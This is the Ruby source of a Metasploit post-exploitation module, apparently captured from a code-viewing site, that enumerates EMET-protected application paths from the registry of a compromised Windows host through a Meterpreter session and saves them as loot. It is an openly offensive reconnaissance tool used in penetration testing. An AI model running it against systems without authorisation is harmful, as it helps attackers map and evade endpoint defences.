Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_emet.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Post::Common89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather EMET Protected Paths',14'Description' => %q{ This module will enumerate the EMET protected paths on the target host.},15'License' => MSF_LICENSE,16'Author' => [ 'vysec <vincent.yiu[at]mwrinfosecurity.com>' ],17'Platform' => [ 'win' ],18'SessionTypes' => [ 'meterpreter' ]19)20)21end2223def print_status(msg = '')24super("#{peer} - #{msg}")25end2627def print_good(msg = '')28super("#{peer} - #{msg}")29end3031def run32reg_view = sysinfo['Architecture'] == ARCH_X64 ? REGISTRY_VIEW_64_BIT : REGISTRY_VIEW_32_BIT33reg_vals = registry_enumvals('HKLM\\SOFTWARE\\Microsoft\\EMET\\AppSettings', reg_view)34if reg_vals.nil?35print_error('Failed to enumerate EMET Protected.')36else37print_status('Found protected processes:')38reg_vals.each do |path|39print_status(path)40end41path = store_loot('host.emet_paths', 'text/plain', session, reg_vals.join("\r\n"), 'emet_paths.txt', 'EMET Paths')42print_good("Results stored in: #{path}")43end44end45end464748